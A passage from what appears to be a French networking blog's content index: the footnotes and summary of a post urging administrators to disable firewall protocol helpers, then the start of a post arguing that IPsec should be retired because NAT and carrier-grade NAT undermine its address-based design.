and connection tracking helpers. « This system relies on parsing of data coming either from the user or the server. It is therefore vulnerable to attack and great care must be taken when using connection tracking helpers. » Source de la citation sur le joker IRC, et documentation du sysctl nf_conntrack_helper et de la cible CT --helper.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nSources du noyau Linux — net/netfilter/nf_conntrack_ftp.c. Le paramètre de module loose vaut false par défaut, protégeant le cas où l\u0026rsquo;adresse de la commande PORT n\u0026rsquo;est pas celle du client ; le commentaire nomme le risque : « DMZ machines opening holes to internal networks, or the packet filter itself ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nnetfilter — H.323 conntrack/NAT helper, par l\u0026rsquo;auteur du module. Contient le scénario de renvoi d\u0026rsquo;appel qui permet à une session de désigner une adresse tierce.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDavid Leadbeater — NAT-Again : IRC NAT helper flaws, août 2022. Démontre le déclenchement par écho de ping, note que cela permet aussi de balayer, de révéler les adresses réelles d\u0026rsquo;utilisateurs masqués et de les déconnecter en indiquant le port 0, et recommande : « Potentially entirely deprecate and remove nf_conntrack_irc, it\u0026rsquo;s unclear it has much use anymore. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCVE-2022-2663 — « An issue was found in the Linux kernel in nf_conntrack_irc where the message handling can be confused and incorrectly matches the message. A firewall may be able to be bypassed when users are using unencrypted IRC with nf_conntrack_irc configured. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — avis relatif à la CVE-2018-15454, première publication le 31 octobre 2018. La mesure indiquée est no inspect sip sur ASA et configure inspection sip disable sur FTD ; la fiche NVD consigne qu\u0026rsquo;à la publication, « Software updates that address this vulnerability are not yet available ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4217 — Securing FTP with TLS, octobre 2005.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3715 — IPsec-Network Address Translation (NAT) Compatibility Requirements, mars 2004. La section 2.1 point (f) traite du choix du SPI face au NAT ; la section 2.3 s\u0026rsquo;intitule Helper Incompatibilities et porte les lignes citées sur le démultiplexage par cookie IKE et l\u0026rsquo;analyse des charges utiles ISAKMP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — IKE and ESP ALG, Application Layer Gateways User Guide. Source de la description des portes, de la note indiquant que le trafic NAT-T sur le port 4500 n\u0026rsquo;est pas traité par l\u0026rsquo;ALG, et de l\u0026rsquo;avertissement selon lequel, quand deux clients partagent une adresse traduite, l\u0026rsquo;équipement « will be unable to distinguish and route return traffic properly ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — IPsec Pass Through Inspection, ASA Firewall CLI Configuration Guide 9.20. « IPsec Pass Through application inspection provides convenient traversal of ESP (IP protocol 50) and AH (IP protocol 51) traffic associated with an IKE UDP port 500 connection. » Absent de la politique par défaut ; la _default_ipsec_passthru_map fournie « sets no maximum limit on ESP connections per client ».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3947 — Negotiation of NAT-Traversal in the IKE, et RFC 3948 — UDP Encapsulation of IPsec ESP Packets, tous deux de janvier 2005.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCole Dishington — netfilter : nf_conntrack : Add conntrack helper for ESP/IPsec, mai 2021, troisième version. Relu sur netfilter-devel et non intégré ; net/netfilter dans le noyau amont ne contient toujours pas de nf_conntrack_proto_esp.c.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNCSC et IASME — Cyber Essentials : Requirements for IT Infrastructure v3.3, avril 2026. Le contrôle 1, Firewalls, s\u0026rsquo;applique aux « boundary firewalls, desktop computers, laptops, routers, servers, IaaS, PaaS, SaaS », et les trois exigences citées dans le texte sont ses propres mots.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3027 — Protocol Complications with the IP Network Address Translator, janvier 2001. « The purpose of this document is to identify the protocols and applications that break with NAT enroute. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWHATWG Fetch — pull request 1109, la modification de la norme qui a ajouté les entrées de ports interdits dans tous les navigateurs.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nOpenBSD — ftp-proxy(8). « ftp-proxy is a proxy for the Internet File Transfer Protocol. » Les connexions de contrôle ne l\u0026rsquo;atteignent que parce que vous les y envoyez : « FTP control connections should be redirected into the proxy using the pf(4) divert-to command, after which the proxy connects to the server on behalf of the client. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nFortinet — Technical Tip : Disabling VoIP Inspection. Documente le retrait de l\u0026rsquo;entrée SIP de config system session-helper, set default-voip-alg-mode kernel-helper-based, et note que la réactivation exige un redémarrage.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMozilla — Stopping FTP support in Firefox 90, 20 juillet 2021, et Google — Deprecations and removals in Chrome 95, octobre 2021 : « Use of FTP in the browser is sufficiently low that it is no longer viable to invest in improving the existing FTP client. »\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/networking/protocol-helpers-turn-them-off/","summary":"Un assistant de protocole — SIP ALG, assistant FTP, H.323 ALG, helper conntrack, appelez-le comme votre fournisseur l\u0026rsquo;appelle — lit la charge utile d\u0026rsquo;une connexion, y trouve une adresse et un port écrits en clair, et leur ouvre un trou entrant. Il ne peut pas savoir si ce texte vient d\u0026rsquo;un vrai client FTP ou d\u0026rsquo;un formulaire caché sur une page web, parce que rien dedans ne le dit. Samy Kamkar a démontré le cas du navigateur en 2010, NAT Slipstreaming l\u0026rsquo;a refait en 2020, et Armis l\u0026rsquo;a étendu en 2021 pour atteindre n\u0026rsquo;importe quel équipement du réseau, pas seulement la machine qui a cliqué. L\u0026rsquo;IETF a demandé qu\u0026rsquo;ils soient désactivés par défaut en 2007, Linux les a coupés en 2016, et les éditeurs de navigateurs ont fini par livrer une liste de ports bloqués qui se lit comme un répertoire des modules conntrack. Ce billet parcourt le mécanisme diagramme après diagramme — la table des expectations, l\u0026rsquo;astuce d\u0026rsquo;alignement des segments, le renvoi d\u0026rsquo;appel H.323, l\u0026rsquo;assistant IRC qui se déclenche sur le message d\u0026rsquo;un autre —, y ajoute l\u0026rsquo;assistant de passage IPsec, qui ne peut pas lire ESP du tout et aiguille les paquets entrants d\u0026rsquo;après un SPI qu\u0026rsquo;il a vu passer en clair, confronte le tout à l\u0026rsquo;exigence pare-feu de Cyber Essentials qu\u0026rsquo;il ne satisfait manifestement pas, et donne les commandes pour tout couper sur Linux, Cisco, Juniper, FortiGate et MikroTik.","title":"Votre pare-feu prend ses ordres chez des inconnus. Coupez les assistants de protocole."},{"content":"IPsec était une bonne idée. Placez le chiffrement à la couche réseau, sous tout le reste, et chaque protocole qui passe sur IP hérite de la confidentialité et de l\u0026rsquo;intégrité sans qu\u0026rsquo;on le lui dise. Aucune bibliothèque à lier. Aucun certificat par application. Rien à réécrire dans ce que vous avez déjà livré. Le paquet part protégé et arrive protégé, et les routeurs intermédiaires le transportent sans savoir ni se soucier de ce qu\u0026rsquo;il contient.\nCette conception repose sur une hypothèse, et elle est écrite dans la norme plutôt que sous-entendue : l\u0026rsquo;adresse d\u0026rsquo;un paquet identifie la machine d\u0026rsquo;où il vient. Une association de sécurité se retrouve à partir de l\u0026rsquo;adresse de destination, du numéro de protocole et du SPI1. L\u0026rsquo;Authentication Header va plus loin et signe l\u0026rsquo;en-tête IP lui-même, source et destination comprises2. Pour IPsec, l\u0026rsquo;adresse n\u0026rsquo;est pas une métadonnée de routage. Elle fait partie de l\u0026rsquo;identité et partie du contrôle d\u0026rsquo;intégrité.\nPuis ce secteur a passé trente ans à retirer l\u0026rsquo;adresse.\nD\u0026rsquo;abord le NAT, pour faire tenir un bureau derrière une ligne. Puis le NAT d\u0026rsquo;opérateur, pour faire tenir plusieurs centaines de foyers derrière une adresse, parce qu\u0026rsquo;activer IPv6 était du travail et acheter un boîtier relevait des achats — c\u0026rsquo;est tout le sujet de Nous n\u0026rsquo;avons jamais manqué d\u0026rsquo;adresses. Nous avons manqué d\u0026rsquo;effort. et je n\u0026rsquo;y reviens pas ici. Ce qui compte pour ce billet, c\u0026rsquo;est la conséquence. La seule chose sur laquelle IPsec a été bâti est précisément celle que le réseau d\u0026rsquo;accès moderne ne fournit plus.\nAlors IPsec a été rafistolé. Emballez le paquet chiffré dans de l\u0026rsquo;UDP pour qu\u0026rsquo;un traducteur ait un port à réécrire. Mettez la somme de contrôle à zéro pour que personne ne la revérifie. Envoyez un paquet d\u0026rsquo;un octet toutes les vingt secondes, pour toujours, pour qu\u0026rsquo;une table dans le matériel de quelqu\u0026rsquo;un d\u0026rsquo;autre n\u0026rsquo;oublie pas votre existence. Décollez l\u0026rsquo;identité de l\u0026rsquo;adresse et accrochez-la à un nom. Abandonnez l\u0026rsquo;Authentication Header, parce qu\u0026rsquo;il ne peut pas survivre par construction à un en-tête réécrit. Et quand un hôtel bloque l\u0026rsquo;UDP, emballez le tout dans du TCP en plus3.\nChacun de ces points est une solution réelle, normalisée, prise en charge par les constructeurs. Ensemble, ils forment un protocole tenu debout par son propre échafaudage. Et l\u0026rsquo;échafaudage, c\u0026rsquo;est l\u0026rsquo;argument : on ne passe pas un quart de siècle à étayer quelque chose parce que c\u0026rsquo;est fondamentalement sain.\nLa conclusion à laquelle je suis arrivé, c\u0026rsquo;est qu\u0026rsquo;IPsec doit être mis à la retraite en entier. Pas ajusté, pas reproposé avec de meilleurs chiffrements, pas conservé pour le site à site sous prétexte que cette partie fonctionne encore. Retiré, avec des dates, comme PPTP aurait dû l\u0026rsquo;être une décennie avant que quelqu\u0026rsquo;un s\u0026rsquo;en occupe. Ce qui suit, ce sont les preuves, les schémas, la documentation des constructeurs qui dit tout cela dans leurs propres mots, et — parce que la plupart de ceux qui lisent ceci doivent quand même faire tourner ces choses lundi — une méthode utilisable pour diagnostiquer les pannes IPsec en attendant.\nCe que cela vous coûte vraiment, en tickets Avant les normes, voici la facture, dans l\u0026rsquo;ordre où vous la rencontrerez.\nLe tunnel tombe à intervalle régulier. Toutes les heures, ou toutes les huit heures, ou après vingt minutes sans trafic. Il revient dès que quelqu\u0026rsquo;un ouvre un fichier, donc la moitié des utilisateurs ne le signale jamais et l\u0026rsquo;autre moitié le signale comme « le VPN est lent ». Personne n\u0026rsquo;a rien changé.\nDeux personnes dans la même maison ne peuvent pas se connecter en même temps. La seconde monte, la première tombe. Elles appellent le service d\u0026rsquo;assistance séparément, donc les tickets ne se croisent jamais et personne ne repère le schéma pendant quinze jours.\nLes petites choses marchent et les grandes bloquent. La connexion marche. Teams marche. Ping marche. Copier un fichier s\u0026rsquo;arrête chaque fois au même endroit, et ouvrir une grande page dans une application interne reste là jusqu\u0026rsquo;au délai d\u0026rsquo;expiration.\nLe tunnel est monté et aucun trafic ne passe. Les deux bouts disent « établi ». Les deux bouts sont contents d\u0026rsquo;eux. Rien ne bouge.\nRien ne peut entrer. Le site à site vers l\u0026rsquo;agence passée chez un opérateur fibre alternatif ne s\u0026rsquo;établit plus dans le sens où il le faisait, et personne ne sait dire pourquoi, seulement que « leur IP a changé ».\nActiver la QoS a cassé le chiffrement. Quelqu\u0026rsquo;un a priorisé la voix, et maintenant le bout distant jette des paquets comme s\u0026rsquo;il s\u0026rsquo;agissait de rejeux.\nAucun de ces cas n\u0026rsquo;est une erreur de configuration au sens ordinaire. Chacun est IPsec qui rencontre le réseau tel qu\u0026rsquo;il est aujourd\u0026rsquo;hui. Le reste de ce billet explique pourquoi, dans l\u0026rsquo;ordre, et comment prouver lequel vous avez.\nIPsec n\u0026rsquo;est pas transporté par le réseau. Il est le réseau. Commençons par ce qu\u0026rsquo;il était, parce que la conception est réellement bonne et que les défaillances ne prennent sens que par rapport à elle.\nESP n\u0026rsquo;est pas un protocole qui tourne au-dessus de TCP ou d\u0026rsquo;UDP. Il est un protocole de transport, numéro de protocole IP 50, posé directement sur IP, dans l\u0026rsquo;emplacement même où se trouvent TCP et UDP. AH est le protocole 51. Aucun des deux n\u0026rsquo;a de champ de port, parce qu\u0026rsquo;aucun n\u0026rsquo;en a besoin : sur l\u0026rsquo;internet pour lequel IPsec a été conçu, l\u0026rsquo;adresse de destination désigne déjà exactement une machine, et le SPI dans l\u0026rsquo;en-tête ESP désigne quelle association de sécurité sur cette machine. Adresse plus protocole plus SPI. Ce triplet, c\u0026rsquo;est la recherche1.\nLa conception telle que spécifiée : l'adresse nomme la machine, donc aucun port n'est nécessaire et l'un ou l'autre bout peut commencer IPsec tel que spécifié : l'adresse est l'identité Host A 203.0.113.10 Routeurs acheminent seulement Host B 198.51.100.7 l'un ou l'autre peut commencer Ce qui quitte la machine en-tête IP externe src 203.0.113.10 vers 198.51.100.7 protocole 50 = ESP SPI 4 B séquence 4 B charge utile chiffrée votre paquet, illisible en transit ICV 16 B Recherche de l'association = adresse de destination + protocole + SPI. Aucun champ de port, car aucun n'est nécessaire. Trois hypothèses de cette conception, toutes vraies en 1995 : L'adresse du paquet est la machine. Rien dans le chemin ne réécrit d'en-tête. On peut appeler l'un ou l'autre bout. L'Authentication Header va plus loin et signe l'en-tête externe lui-même, source et destination comprises, de sorte qu'un destinataire peut prouver que les adresses n'ont pas été touchées en route. Pas à l'échelle. Le surcoût d'ESP dépend du chiffrement ; ici AES-GCM en mode tunnel sur IPv4. La conception telle qu\u0026rsquo;elle est spécifiée. ESP se pose directement sur IP en tant que protocole 50, sans ports, parce qu\u0026rsquo;il n\u0026rsquo;en a pas besoin — l\u0026rsquo;adresse de destination nomme l\u0026rsquo;hôte et le SPI nomme l\u0026rsquo;association qui s\u0026rsquo;y trouve. AH signe l\u0026rsquo;en-tête IP lui-même. Les deux bouts détiennent une adresse réelle et joignable, l\u0026rsquo;un ou l\u0026rsquo;autre peut engager la conversation, et rien au milieu n\u0026rsquo;a besoin de comprendre la charge utile. Regardez ce que cela apporte. Aucun port de négociation à exposer, aucune couche de session à rater, aucune application qui doive donner son accord. L\u0026rsquo;un ou l\u0026rsquo;autre bout peut commencer. Le milieu du réseau est bête, et c\u0026rsquo;est exactement ce que doit être le milieu d\u0026rsquo;un réseau. Un routeur achemine le protocole 50 comme il achemine le protocole 6, et le fait qu\u0026rsquo;il ne puisse pas lire la charge utile est le but plutôt qu\u0026rsquo;une limite.\nC\u0026rsquo;est une conception propre. C\u0026rsquo;est aussi, en 2026, la description d\u0026rsquo;un internet que la plupart de ceux qui lisent ceci ne peuvent pas acheter.\nPuis quelqu\u0026rsquo;un a mis un traducteur sur chaque chemin Un NAT réécrit l\u0026rsquo;adresse source, et souvent le port source, pour que plusieurs machines partagent une adresse. C\u0026rsquo;est tout ce qu\u0026rsquo;il fait. Contre IPsec, c\u0026rsquo;est à peu de chose près une démolition complète, et l\u0026rsquo;IETF a été assez franche pour publier un document entier qui en liste les morceaux : RFC 3715, IPsec-Network Address Translation (NAT) Compatibility Requirements4. Seize incompatibilités distinctes. Voici celles qui comptent.\nAH est fini, par construction. Dans les mots mêmes de la RFC 3715 : « Since the AH header incorporates the IP source and destination addresses in the keyed message integrity check, NAT or reverse NAT devices making changes to address fields will invalidate the message integrity check. »4 — l\u0026rsquo;en-tête AH inclut les adresses source et destination dans le contrôle d\u0026rsquo;intégrité, donc toute modification d\u0026rsquo;adresse l\u0026rsquo;invalide. Il n\u0026rsquo;y a pas de correctif, et il n\u0026rsquo;allait jamais y en avoir. Un protocole qui signe l\u0026rsquo;en-tête ne peut pas traverser un boîtier dont le métier est de réécrire l\u0026rsquo;en-tête. AH n\u0026rsquo;a pas été contourné. Il a été abandonné.\nIl n\u0026rsquo;y a pas de ports à traduire. Un NAT qui fait de la traduction de ports a besoin d\u0026rsquo;un port. ESP n\u0026rsquo;en a pas. Cisco l\u0026rsquo;écrit sans détour dans le guide de configuration Catalyst : « If PAT found a legislative IP address and port, it would drop the Encapsulating Security Payload (ESP) packet. »5 Le paquet n\u0026rsquo;est pas rejeté sur décision de politique. Il est jeté parce que le boîtier n\u0026rsquo;a nulle part où écrire ce qu\u0026rsquo;il doit écrire.\nL\u0026rsquo;identité cesse de correspondre au paquet. Toujours dans la RFC 3715 : « Where IP addresses are used as identifiers in Internet Key Exchange Protocol (IKE) Phase 1 or Phase 2, modification of the IP source or destination addresses by NATs or reverse NATs will result in a mismatch between the identifiers and the addresses in the IP header. »4 — lorsque les adresses servent d\u0026rsquo;identifiants, la traduction crée un désaccord entre l\u0026rsquo;identifiant et l\u0026rsquo;en-tête. Un schéma d\u0026rsquo;identité qui nomme les machines par adresse ne survit pas à un équipement qui renomme les machines pour gagner sa vie.\nDeux machines peuvent choisir le même SPI. Le SPI est choisi par le destinataire et n\u0026rsquo;a besoin d\u0026rsquo;être unique que chez lui. Mettez deux hôtes derrière une adresse et le traducteur a deux associations sans rien pour les distinguer.\nRien ne peut entrer en premier. Un NAT construit sa table à partir des paquets sortants. Il n\u0026rsquo;y a pas de paquet sortant tant que personne ne commence, et sur une ligne en NAT seul l\u0026rsquo;intérieur peut commencer. La moitié de la symétrie du protocole a disparu.\nUn traducteur sur le chemin brise cinq choses d'un coup, et chaque correctif coûte quelque chose Un traducteur sur le chemin, et cinq choses se brisent d'un coup Hôte 192.0.2.20 Traducteur réécrit la source en 203.0.113.5 Passerelle 198.51.100.7 rien ne peut commencer de ce côté Ce que la réécriture détruit 1 L'en-tête signé ne correspond plus. AH couvre les adresses source et destination, donc le contrôle d'intégrité échoue par construction. Il n'y a pas de correctif. AH est inutilisable à travers un traducteur. 2 Il n'y a pas de port à réécrire. ESP est le protocole IP 50 et n'a pas de champ de port, donc un traducteur faisant de la traduction de ports n'a rien à quoi se raccrocher et jette le paquet. 3 L'identité cesse de correspondre au paquet. L'échange de clés a nommé le pair par son adresse. L'adresse de l'en-tête appartient désormais à quelqu'un d'autre. 4 Deux hôtes peuvent choisir le même SPI. Le destinataire le choisit et ne garantit son unicité que chez lui, donc le traducteur a deux associations qu'il ne peut pas distinguer. 5 La moitié de la symétrie a disparu. La table se construit à partir des paquets sortants, donc seul l'intérieur peut commencer. Le compromis, et ce que chacune de ses parties coûte Emballer tout le paquet ESP dans UDP sur le port 4500, pour que le traducteur comprenne. Abandonner complètement l'Authentication Header, car rien ne peut le sauver. Mettre à zéro la somme UDP, car sur des adresses réécrites elle ne ferait qu'échouer. Décoller l'identité de l'adresse et la mettre sur un nom que le pair affirme. Envoyer un octet toutes les vingt secondes, pour toujours, pour qu'une table étrangère ne vous oublie pas. Ça marche. Ce n'est pas contesté. L'argument est que rien de sain n'a besoin de cinq concessions pour franchir un boîtier. Le même tunnel avec un traducteur sur le chemin. Cinq choses se brisent d\u0026rsquo;un coup : l\u0026rsquo;en-tête signé ne correspond plus, il n\u0026rsquo;y a pas de port à réécrire pour le traducteur, l\u0026rsquo;identité ne correspond plus à l\u0026rsquo;adresse source, deux hôtes peuvent choisir le même SPI, et rien à l\u0026rsquo;extérieur ne peut engager la conversation. La rangée du dessous montre ce que le secteur a fait — et chaque correctif est une chose abandonnée. Le correctif était réel, et chacune de ses pièces a coûté quelque chose La traversée de NAT fonctionne. Ce n\u0026rsquo;est pas contesté et je ne vais pas faire semblant du contraire. J\u0026rsquo;ai exploité beaucoup de tunnels à travers beaucoup de NAT. Ce que je veux consigner, c\u0026rsquo;est la facture, parce qu\u0026rsquo;elle est payée chaque jour par tout le monde et que presque personne ne la détaille.\nLe mécanisme est la RFC 3948 : détecter un traducteur pendant l\u0026rsquo;échange de clés, puis placer tout le paquet ESP dans un datagramme UDP sur le port 4500 pour que le traducteur ait quelque chose qu\u0026rsquo;il comprend6. La description du format sur le fil par Cisco est exacte : après chiffrement, « a UDP header and a non-IKE marker (which is 8 bytes in length) are inserted between the original IP header and ESP header »5 — un en-tête UDP et un marqueur non-IKE de huit octets sont insérés entre l\u0026rsquo;en-tête IP d\u0026rsquo;origine et l\u0026rsquo;en-tête ESP. Celle de Juniper est plus courte et dit la même chose : « NAT-T encapsulates both IKE and ESP traffic within UDP with port 4500 used as both the source and destination port. »7\nMaintenant la facture détaillée.\nL\u0026rsquo;Authentication Header a disparu. Pas poliment déprécié. Inutilisable. La RFC 8221 dit désormais clairement qu\u0026rsquo;utiliser ESP avec AH est NOT RECOMMENDED8, et la raison honnête est que la seule chose qu\u0026rsquo;AH faisait et qu\u0026rsquo;ESP ne fait pas est précisément celle que le NAT détruit.\nLa somme de contrôle UDP est délibérément mise à zéro. La RFC 3948 l\u0026rsquo;exige : avec des adresses réécrites, une somme calculée dessus échouerait, donc la réponse de la norme est d\u0026rsquo;arrêter de la calculer. « If the protocol header after the ESP header is a UDP header, set the checksum field to zero in the UDP header. »6 Une couche de détection d\u0026rsquo;erreur retirée pour qu\u0026rsquo;une couche de réécriture d\u0026rsquo;adresses continue de fonctionner.\nVous envoyez désormais des paquets pour garder une table au chaud. La RFC 3948 définit un keepalive comme un octet, 0xFF, envoyé quand rien d\u0026rsquo;autre n\u0026rsquo;est sorti pendant un intervalle configurable dont la valeur par défaut est vingt secondes6. Juniper en donne la raison sans fioriture : « Because NAT devices age out stale UDP translations, keepalive messages are required between the peers. »7 Un portable dans un train, qui ne fait strictement rien, émet donc toutes les vingt secondes, pour toujours, parce qu\u0026rsquo;une table dans un boîtier qui n\u0026rsquo;appartient à aucun des deux bouts oublierait sinon son existence. Multipliez par une flotte. C\u0026rsquo;est la radio qui se réveille, la batterie qui descend, et le réseau mobile qui transporte du trafic dont le seul but est d\u0026rsquo;empêcher l\u0026rsquo;oubli.\nVous filtrez désormais deux ports au lieu d\u0026rsquo;un protocole, et la liste de restrictions de Cisco exige des règles de traduction statiques pour 500 et 4500 avant que quoi que ce soit fonctionne5.\nEt lisez le reste de cette liste de restrictions, parce que c\u0026rsquo;est le constructeur qui vous décrit la forme de la chose. Politiques de NAT dynamique : non prises en charge. Trafic IPv6 : incompatible avec la fonction. IPsec et NAT sur le même équipement : les deux ne peuvent pas fonctionner ensemble5. Ce n\u0026rsquo;est pas un guide de configuration. C\u0026rsquo;est la liste des endroits où l\u0026rsquo;échafaudage n\u0026rsquo;atteint pas.\nRien de tout cela n\u0026rsquo;est élégant, et ce n\u0026rsquo;est la faute de personne en particulier. C\u0026rsquo;est ce qui arrive quand on maintient en vie un protocole de couche 3 sur un réseau qui a cessé d\u0026rsquo;honorer la couche 3.\nLe NAT d\u0026rsquo;opérateur a retiré ce qui restait Le NAT ordinaire a pris l\u0026rsquo;adresse à la machine pour la donner au site. Le traducteur vous appartenait encore, vous pouviez donc rediriger un port, figer une association, allonger une minuterie ou mettre le concentrateur devant.\nLe NAT d\u0026rsquo;opérateur prend l\u0026rsquo;adresse au site et la donne à plusieurs centaines d\u0026rsquo;inconnus, et le traducteur appartient à votre fournisseur d\u0026rsquo;accès. Tout ce que vous pouviez faire auparavant, vous ne le pouvez plus.\nEt soyez clair sur ce qui se trouve réellement sur le chemin, parce que c\u0026rsquo;est le point que les gens ratent. Le routeur de la maison fait toujours du NAT. Il n\u0026rsquo;a pas été désactivé. Il traduit toujours votre portable en 192.168.1.20 vers l\u0026rsquo;adresse que porte la ligne — sauf que la ligne porte désormais 100.64.12.7, de l\u0026rsquo;espace partagé, pas une adresse publique. L\u0026rsquo;opérateur traduit ensuite une seconde fois. Le paquet traverse donc deux traducteurs avant d\u0026rsquo;atteindre l\u0026rsquo;internet, et c\u0026rsquo;est le cas ordinaire, pas une curiosité.\nLe NAT d'opérateur, c'est deux traductions, deux minuteries, et aucune adresse joignable ni à l'une ni à l'autre Le NAT d'opérateur, ce sont deux traductions, pas une Portable 192.168.1.20 Routeur de la maison traduction un La ligne 100.64.12.7 Traducteur opérateur traduction deux, vers 203.0.113.9 la vôtre, et la seule table que vous voyez la leur, partagée avec plusieurs centaines de foyers, invisible pour vous rien depuis l'internet n'atteint aucune de ces deux adresses Deux tables, deux minuteries, et la plus courte gagne. Votre keepalive doit battre celle des deux qui expire en premier, et vous n'en lisez qu'une. Celle qui compte est celle que vous ne voyez pas. La redirection de port fonctionne et ne sert à rien. Le routeur redirige volontiers un port depuis une adresse que l'internet n'atteint pas. UPnP et PCP annoncent un succès et ouvrent une porte sur un couloir. D'où « j'ai redirigé 500 et 4500 et ça ne monte toujours pas » est un ticket si courant et si trompeur. Le rôle de répondeur a disparu. Deux agences sur fibre grand public ne peuvent pas du tout s'appeler. Quelque chose au milieu doit les présenter, et vous dépendez d'une entreprise que vous n'avez pas choisie. L'identité ne peut pas être l'adresse. Plusieurs abonnés arrivent comme une seule adresse, donc ce qui les distingue n'est pas le champ qu'IPsec devait utiliser. Et il y a un plafond publié : sur les grandes plateformes SRX, Juniper indique au plus 1 000 tunnels par adresse traduite. La confirmation la plus rapide ne coûte rien : lisez l'adresse WAN du routeur. Si elle commence par 100.64, c'est l'espace partagé réservé par la RFC 6598, vous êtes derrière un CGNAT, et la moitié des réglages est décorative. Une ligne pro avec une vraie adresse fixe a une traduction et un point d'extrémité joignable. C'est cela que le supplément mensuel vous vend vraiment : ce que chaque machine avait autrefois pour rien. Le paquet est traduit deux fois : une fois par le routeur de la maison, une fois par l\u0026rsquo;opérateur. Aucune des deux adresses qu\u0026rsquo;il porte n\u0026rsquo;est joignable depuis l\u0026rsquo;extérieur. Cela signifie deux tables d\u0026rsquo;association avec deux minuteries indépendantes dont une seule vous est visible, une redirection de port qui réussit et ne sert à rien, plus aucun rôle de répondeur, et une identité de pair qui ne peut plus être une adresse. Vous êtes en double NAT, et une seule des tables est la vôtre. Deux traductions veulent dire deux tables d\u0026rsquo;association, deux minuteries de vieillissement et deux occasions que l\u0026rsquo;association disparaisse. Votre keepalive doit battre celle qui expire en premier, et vous ne pouvez en lire qu\u0026rsquo;une seule. Pire, les deux interagissent : le routeur de la maison a peut-être ses propres idées sur IPsec et essaie d\u0026rsquo;aider avec une passerelle applicative, si bien que le port source que votre client croit utiliser n\u0026rsquo;est ni celui qui sort de la maison ni celui qui sort de chez l\u0026rsquo;opérateur.\nLa redirection de port fonctionne toujours, et ne fait absolument rien. C\u0026rsquo;est le ticket qui mange le plus de temps. Quelqu\u0026rsquo;un redirige UDP 500 et 4500 sur le routeur domestique, le routeur l\u0026rsquo;accepte, la page de réglages dit que la règle est active — et rien ne peut s\u0026rsquo;en servir, parce qu\u0026rsquo;elle redirige depuis une adresse que l\u0026rsquo;internet ne peut pas atteindre. UPnP et PCP se comportent pareil : le client demande une association, le routeur l\u0026rsquo;accorde, et le port s\u0026rsquo;ouvre sur un couloir. Tout signale un succès et rien ne fonctionne. Le boîtier vous racontera ce que vous voulez entendre.\nLe moyen le plus rapide de trancher ne coûte rien. Lisez l\u0026rsquo;adresse WAN dans le routeur. Si elle commence par 100.64, c\u0026rsquo;est l\u0026rsquo;espace partagé réservé par la RFC 6598, vous êtes derrière un NAT d\u0026rsquo;opérateur, et la moitié de cette page de réglages est décorative.\nLe rôle de répondeur n\u0026rsquo;existe plus. Un équipement derrière un CGNAT ne peut pas être le bout que l\u0026rsquo;on appelle. Le site à site entre deux agences sur de la fibre grand public — normal, bon marché, et exactement ce que veut une petite entreprise — exige qu\u0026rsquo;au moins un bout détienne une adresse réelle, ou un tiers au milieu pour les présenter. Ce tiers est une entreprise dont vous dépendez désormais parce que votre fournisseur d\u0026rsquo;accès n\u0026rsquo;a pas voulu vous donner une adresse.\nLa minuterie appartient à quelqu\u0026rsquo;un d\u0026rsquo;autre. La RFC 4787 dit aux opérateurs de NAT qu\u0026rsquo;une association UDP « MUST NOT expire in less than two minutes » et en recommande cinq ou plus9. C\u0026rsquo;est le plancher et le conseil, pas une promesse, et vous ne pouvez pas inspecter ce que votre opérateur fait réellement. De ce fait, le keepalive cesse d\u0026rsquo;être un réglage. Il est porteur, sur une minuterie que vous devinez.\nL\u0026rsquo;identité de votre pair ne peut pas être son adresse. Plusieurs abonnés atteignent le bout distant sous une seule adresse. Quoi que le concentrateur utilise pour les distinguer, ce n\u0026rsquo;est pas l\u0026rsquo;en-tête IP — et c\u0026rsquo;est justement ce qu\u0026rsquo;IPsec devait utiliser.\nIl y a un plafond dur, et les constructeurs le publient. Juniper documente que sur SRX5400, SRX5600 et SRX5800, « the total number of tunnels from a given public translated IP cannot exceed 1000 tunnels »7. Lisez cela en exploitant et non comme une ligne de spécification. Votre concentrateur VPN a une limite par adresse partagée, le partage est fait par un opérateur avec lequel vous n\u0026rsquo;avez aucun contrat, et votre proximité de cette limite dépend du nombre de vos utilisateurs qui se trouvent derrière la même. Il n\u0026rsquo;y a aucun compteur à consulter. Il y a seulement le jour où cela commence à échouer pour certains et pas pour d\u0026rsquo;autres.\nTout dans cette section découle d\u0026rsquo;une décision que ce pays a prise et reprise. J\u0026rsquo;ai exposé ce dossier ailleurs et je ne le répète pas. Le point est ici plus étroit : l\u0026rsquo;hypothèse fondatrice d\u0026rsquo;IPsec a été supprimée par le réseau d\u0026rsquo;accès, et IPsec vit depuis de contournements.\nEt le réseau IPv6 seul ne le sauve pas non plus Ici je dois être honnête contre mon propre argument, parce que la réponse évidente à tout ce qui précède est : très bien, donnez à chaque machine une vraie adresse IPv6 et IPsec refonctionne comme spécifié.\nC\u0026rsquo;est vrai, entre deux bouts qui en ont une. Ce n\u0026rsquo;est pas le réseau où se trouvent la plupart des gens.\nLes réseaux d\u0026rsquo;accès IPv6 seul qui existent réellement, le 